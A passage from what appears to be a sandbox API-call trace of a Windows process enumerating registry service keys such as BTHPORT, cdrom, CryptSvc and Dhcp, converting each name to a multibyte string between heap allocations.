Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0176.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.067] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0176.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0176.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.068] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0176.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0176.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.068] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0176.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0176.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.068] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0176.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0176.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.069] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0176.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0176.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0176.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.069] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0176.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0176.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0176.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.069] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0176.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0176.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0176.069] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0176.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circlass", lpUsedDefaultChar=0x0) returned 8 [0176.069] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0176.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0176.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clfs", lpUsedDefaultChar=0x0) returned 4 [0176.070] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0176.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0176.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x21f1a90, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_32", lpUsedDefaultChar=0x0) returned 30 [0176.070] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0176.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0176.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x21f1a00, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_64", lpUsedDefaultChar=0x0) returned 30 [0176.070] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0176.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0176.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x21f1a90, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_32", lpUsedDefaultChar=0x0) returned 30 [0176.070] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0176.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0176.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x21f1a00, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_64", lpUsedDefaultChar=0x0) returned 30 [0176.070] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0176.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmbatt", lpUsedDefaultChar=0x0) returned 6 [0176.070] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0176.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmdide", lpUsedDefaultChar=0x0) returned 6 [0176.071] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0176.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0176.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cng", lpUsedDefaultChar=0x0) returned 3 [0176.071] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0176.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compbatt", lpUsedDefaultChar=0x0) returned 8 [0176.071] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0176.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x21f1a90, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compositebus", lpUsedDefaultChar=0x0) returned 12 [0176.071] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0176.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0176.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x21f1a00, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comsysapp", lpUsedDefaultChar=0x0) returned 9 [0176.071] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0176.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crcdisk", lpUsedDefaultChar=0x0) returned 7 [0176.071] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0176.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crypt32", lpUsedDefaultChar=0x0) returned 7 [0176.071] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0176.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptsvc", lpUsedDefaultChar=0x0) returned 8 [0176.072] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0176.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0176.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csc", lpUsedDefaultChar=0x0) returned 3 [0176.072] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0176.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0176.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x21f1a90, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cscservice", lpUsedDefaultChar=0x0) returned 10 [0176.072] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0176.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0176.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x21f1a00, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dclocator", lpUsedDefaultChar=0x0) returned 9 [0176.072] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0176.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0176.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x21f1a90, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dcomlaunch", lpUsedDefaultChar=0x0) returned 10 [0176.072] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0176.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0176.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x21f1a00, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="defragsvc", lpUsedDefaultChar=0x0) returned 9 [0176.072] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0176.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0176.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfsc", lpUsedDefaultChar=0x0) returned 4 [0176.073] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0176.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0176.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dhcp", lpUsedDefaultChar=0x0) returned 4 [0176.073] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0176.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0176.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x21f1a90, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagtrack", lpUsedDefaultChar=0x0) returned 9 [0176.073] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0176.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="discache", lpUsedDefaultChar=0x0) returned 8 [0176.073] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0176.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0176.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, 